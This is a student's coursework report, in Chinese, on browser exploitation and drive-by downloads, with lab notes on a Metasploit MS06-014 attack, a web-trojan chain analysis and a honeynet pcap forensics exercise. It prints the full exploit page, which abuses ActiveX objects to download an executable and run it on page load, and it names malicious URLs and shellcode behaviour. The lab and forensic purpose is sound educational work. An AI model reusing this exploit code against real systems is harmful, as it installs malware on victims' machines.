20199327 2019-2020-2 《网络攻防实践》第十二周作业
理论学习
Web浏览器的技术发展与安全威胁
Web浏览器
Web浏览器:显示网页服务器或文件系统内的文件,并让用户与这些文件进行交互的一种软件。
用户可迅速及轻易地浏览万维网上的各种(文字、图像、视频等)信息与应用。
现代Web浏览器得基本结构:
内核引擎与可扩展机制:
软件安全困境三要素
- 复杂性:现代浏览器需要支持各种协议、以及各种页面标准等,现在已经非常复杂。
- 可扩展性:为了拓展需求,各个浏览器都基本支持插件安装。
- 连通性:browsing anything at anytime in anywhere。
浏览器安全问题的位置
- 针对网络的网络协议的安全威胁。
- 针对Web浏览器系统平台的安全威胁。
- 针对Web浏览器插件、集成的应用程序的安全威胁。
- 针对互联网用户的社会工程学攻击
Web浏览安全威胁类型:网络钓鱼(Phishing);恶意木马与流氓软件下载;网页木马-浏览器渗透攻击;不良信息内容
网页木马-浏览器渗透攻击
网页木马含义
Web Infection/Drive-by-downloads
网页感染已成为国内互联网最重要的恶意代码传播形式。
网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。也是最流行的网络攻击技术形态。可以参考网页木马制作全过程。
网页木马背后驱动的地下经济链
最重要的支柱: 网络虚拟资产地下经济链。其他: 点击欺诈/DDoS等。
角色: 病毒编写者、黑站长/网站骇客、“信封”盗窃者、 虚拟资产盗窃者、 虚拟资产卖家、玩家。
地下经济链交互市场:地下黑市如百度贴吧等黑客论坛发 布广告,QQ即时通讯软件沟通,支付宝交易。虚拟资产公开市场:淘宝、腾讯拍 拍网等。
网页木马攻击技术流程
- 多样化的客户端渗透攻击位置和技术类型。
- 分布式、复杂的微观链接结构。
- 灵活多变的混淆和对抗分析能力。
网页挂马机制
- 内嵌HTML标签:最为简单和常见的流量重定向机制:iframe嵌入外部页面链接。
- 恶意script脚本:利用script标签通过跨站脚本包含网页木马。
- 内嵌对象:用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象。
- ARP欺骗挂马:在同一网段内进行中间人攻击。
网页木马感染链
- 网页木马通常不会直接存在于被挂马页面中。
- 通过多层嵌套的内嵌链接、跨站脚本等方式构建网马感染链。
- 混淆机制:如代码的编排、编码混淆等方法。
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法,提取样本特异性。
- 基于统计与机器学习的静态分析方法,基于语义特征的方式。
- 基于动态行为结果判定的检测分析方法,采用蜜罐的形式。
- 基于模拟浏览器环境的动态分析检测方法,基于模拟浏览器来分析网页木马。
网站挂马威胁防范措施
- 系统软件、应用软件补丁自动更新。
- 反病毒软件的使用。
- 安全上网、Google安全建议。
网页木马例子
MS06-014安全漏洞机理:MDAC中的RDS.Dataspace ActiveX控件远程代码执行漏洞,没有对通过该控件在宿主上的交互行为进行有效控制。
网络钓鱼
目标:获取个人敏感信息如用户名、口令、帐号ID、网银、ATM PIN码或信用卡信息等。
手段 :架设钓鱼网站如知名金融机构及商务网站。
发送大量欺骗性垃圾邮件。
诱骗因特网用户访问钓鱼网站并以敏感信息登录。
滥用个人敏感信息如资金转账、冒用身份等。
钓鱼攻击策略-架设钓鱼网站
大规模扫描有漏洞的主机并攻陷主机,使用批扫描工具,自动攻击工具。
架设钓鱼网站
- 前台假冒网站:知名的金融机构、在线电子商务网站。
- 后台脚本:收集、验证用户输入,并通过某种渠道转发给钓鱼者。
钓鱼攻击策略-欺骗技术
- 欺骗用户访问钓鱼网站
- DNS中毒攻击。
- 网络流量重定向。
- 社会工程学-欺骗性垃圾邮件。
欺骗性垃圾邮件
- 发送途径-难以追踪。
- 发送源-冒充知名权威机构。
- 发送内容-安全理由、紧急事件,欺骗用户访问钓鱼网站,给出敏感个人信息。
钓鱼攻击策略-欺骗的技巧
- 使用IP地址代替域名。
- 注册发音相近或形似DNS域名。
- 多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。
- 对链接URL进行编码和混淆。
- 攻击浏览器,隐藏消息内容的本质。
- 假冒钓鱼网站的透明性。
- 恶意软件安装浏览器助手工具。
- 修改本地DNS域名和IP地址映射hosts文件。
网站钓鱼防范措施
- 了解网站钓鱼安全威胁与技巧。
- 增强安全意识,提高警惕性。
- 使用安全软件。
理论实践
实践一浏览器渗透攻击实践及对抗实验
选择靶机为Win2KServer,IP地址为192.168.200.124,攻击机为Kali,IP地址为192.168.200.14。同一网段可ping通.
实验过程与前面漏洞利用过程相似,就直接上图,不过多赘述。
用msfconsole,选择目标漏洞
查看漏洞信息。show payloads,设置参数
运行run,攻击成功,靶机输入给定网址
靶机网页源码打开,有大量空格,我是复制到word,用查找工具找的
整理完的代码如下(数组部分相同,就参考了同学的代码,应该一样)
< html>
< head>
< title>
< /title>
<script language="javascript">
function jwnxVgMVVlmT(o, n) {
var r = null;
try {
eval("r=o.CreateObject(n)")
} catch (e) {}
if (!r) {
try {
eval("r=o.CreateObject(n,'')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.CreateObject(n,'','')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject('',n)")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n,'')")
} catch (e) {}
}
if (!r) {
try {
eval("r=o.GetObject(n)")
} catch (e) {}
}
return (r)
}
function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
var s = jwnxVgMVVlmT(a, "WScript.Shell");
var o = jwnxVgMVVlmT(a, "ADODB.Stream");
var e = s.Environment("Process");
var url = document.location + '/payload';
var xml = null;
var bin = e.Item("TEMP") + "\\MrDqdDEsHwVsvWYbTDp.exe";
var dat;
try {
xml = new XMLHttpRequest()
} catch (e) {
try {
xml = new ActiveXObject("Microsoft.XMLHTTP")
} catch (e) {
xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
}
}
if (!xml) {
return (0)
}
xml.open("GET", url, false);
xml.send(null);
dat = xml.responseBody;
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(dat);
o.SaveToFile(bin, 2);
s.Run(bin, 0)
}
function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
var i = 0;
var t = new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
', ' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
', ' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
', null);
while (t[i]) {
var a = null;
if (t[i].substring(0, 1) == ' {
') {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
} else {
try {
a = new ActiveXObject(t[i])
} catch (e) {}
}
if (a) {
try {
var b = jwnxVgMVVlmT(a, "WScript.Shell");
if (b) {
eKXqxEpEOOOxsLSXxJeRxJCn(a);
return (0)
}
} catch (e) {}
}
i++
}
}
</script>
</head>
<body onload='
XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
'>
BcnGzcfhpOowOiNb
</body>
</html>
搜索印证
用wireshark监听的tcp数据流
实践二网站挂马分析实践
任务:根据给出的说明逐步分析,得到最终的木马文件的内容。
说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
试述你是如何一步步地从所给的网页中获取最后的真实代码的?
网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
从解密后的结果来看,攻击者利用了那些系统漏洞?
解密后发现了多少个可执行文件?其作用是什么?
这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
网站的基本的分析图
根据材料提供的一些文件来进行分析,首先用记事本打开start.htm,然后分析了一下,发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不容易被发现
指向new09.htm网页使用的是相对路径,说明new09.htm应该是跟start.htm在同一个目录下,于是修改url,获取到new09.htm页面信息,分析,发现其通过内联框架指向了一个页面
http://aa.18dd.net/aa/kl.htm,还使用script指向了另一个页面http://js.users.51.la/1299644.js
使用工具简单分析出使用了base64进行编码加密,密码为"script"
进行解码,得到如下信息,显示有些错乱,经过整理后发现用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、 暴风影音、PPStream 和百度搜霸的漏洞;最后还有一个下载恶意程序的行为。
.然后打开材料提供好的1.js进行分析,同样将内容复制到FreShow工具的内容框中进行解码,然后生成信息如下图,该js文件下载了一个exe可执行文件
接下来使用同样的方法来分析b.js,但是发现使用FreShow根本无法解码,试了实验指导书上的解码网站,也无法访问,只能根据实验指导书解码的内容进行分析了;解码后的内容里有shellcode,可能是使用了该方式进行攻击。
我以10.exe进行去壳反编译
管家提示木马
实践三Web浏览器遭遇攻击、取证分析
Web浏览器遭遇攻击、取证分析
任务:通过分析给的网络记录文件,回答下列问题:
列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
列出IP地址、主机名、域名,猜测攻击场景的环境配置。
列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
请给出攻击者执行攻击动作的概要描述。
攻击者引入了哪些技巧带来了困难。
攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
shellcode执行了哪些操作?比较他们之间MD5的差异?
在攻击场景中有二进制可执行代码参与吗?目的是什么?
说明:需要用到chaosreader(协议分析软件)。
首先我们利用chaosreader读取这个文件./chaosreader suspicious-time.pcap,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑,并且通过Wireshark打开追踪HTTP流还会发现sploitme关键字段。
我们使用下面的指令来查询有哪些IP地址和域名在进行攻击,下面的指令就是选取之前生成的.http.html文件读取,筛选主机并列出来。通过图片可以看到,rapidshare.com.eyu32.ru 对应192.168.56.50,sploitme.com.cn对应192.168.56.50,shop.honeynet.sg对应192.168.56.51。
服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)。
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15 。
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
攻击者:192.168.56.52 ( “sploitme.com.cn”)。
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort
网络基本输入/输出系统 (NetBIOS) 名称服务器 (NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。将报文打开,如下:
四个主机的ip和MAC都不同,但主机名和工作组相同,所以他们是安装在虚拟机上的。
可发现刚才加载出许多html文件。
打开session_0006.part_01.html发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php。
找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html。我们发现了 Libemu 和 Phoneyc ,猜测是商业网站
找sploitme.com.cn,这个对应文件session_0007.part_02.html,打开发现网页丢失了
请给出攻击者执行攻击动作的概要描述。
这里有4种情景(4个源IP),现以10.0.2.15为例进行描述。
受害者(10.0.2.15)通过浏览器访问 rapidshare.eyu32.ru/login.php登录页面;
login.php 包含的内容来自 sploitme.com.cn/?click=3feb5a6b2f (192.168.56.52) ,所以用户登录时,直接重定向到包含js代码的 sploitme.com.cn/fg/show.php?s=3feb5a6b2f这个恶意页面。
而返回给用户的只是一个404错误的页面,致使用户发现不了自己信息的泄漏。
攻击者引入了哪些技巧带来了困难。
js混淆机制
rapidshare.eyu32.ru上的脚本:
http://dean.edwards.name/packer/ + http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html
honeynet.sg上的脚本:
http://www.colddata.com/developers/online_tools/obfuscator.shtml#obfuscator_view
伪造404页面,给分析者带来困难,也使用户不易察觉。
触发了漏洞利用后,会转到无害页面,不进行二次攻击。
内容用gzip压缩,所以它不会出现在明确的文本,必须采取额外的步骤。
攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
说实话,这块内容不知道怎么找,下面是答案给出的:
Mdac : WScript.Shell - MS06-014
Aolwinamp: IWinAmpActiveX.ConvertFile
Directshow: msvidctl.dll - MS09-032 - MS09-037
Snapshot: MSOfficeSnapshotViewer - MS08-04
Com: 'msdds.dll' COM Object - MS05-052
Spreadsheet: OWC10.Spreadsheet - MS09-43
shellcode执行了哪些操作?比较他们之间MD5的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll,从URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
shellcode可以在tcp流中看到,但是不知道怎么提取出来,所以下面的MD5也没有进行测试。
在攻击场景中有二进制可执行代码参与吗?目的是什么?
有。攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件就是load.php发送的Win32可执行文件,它通过Internet Explorer加载www.honeynet.org。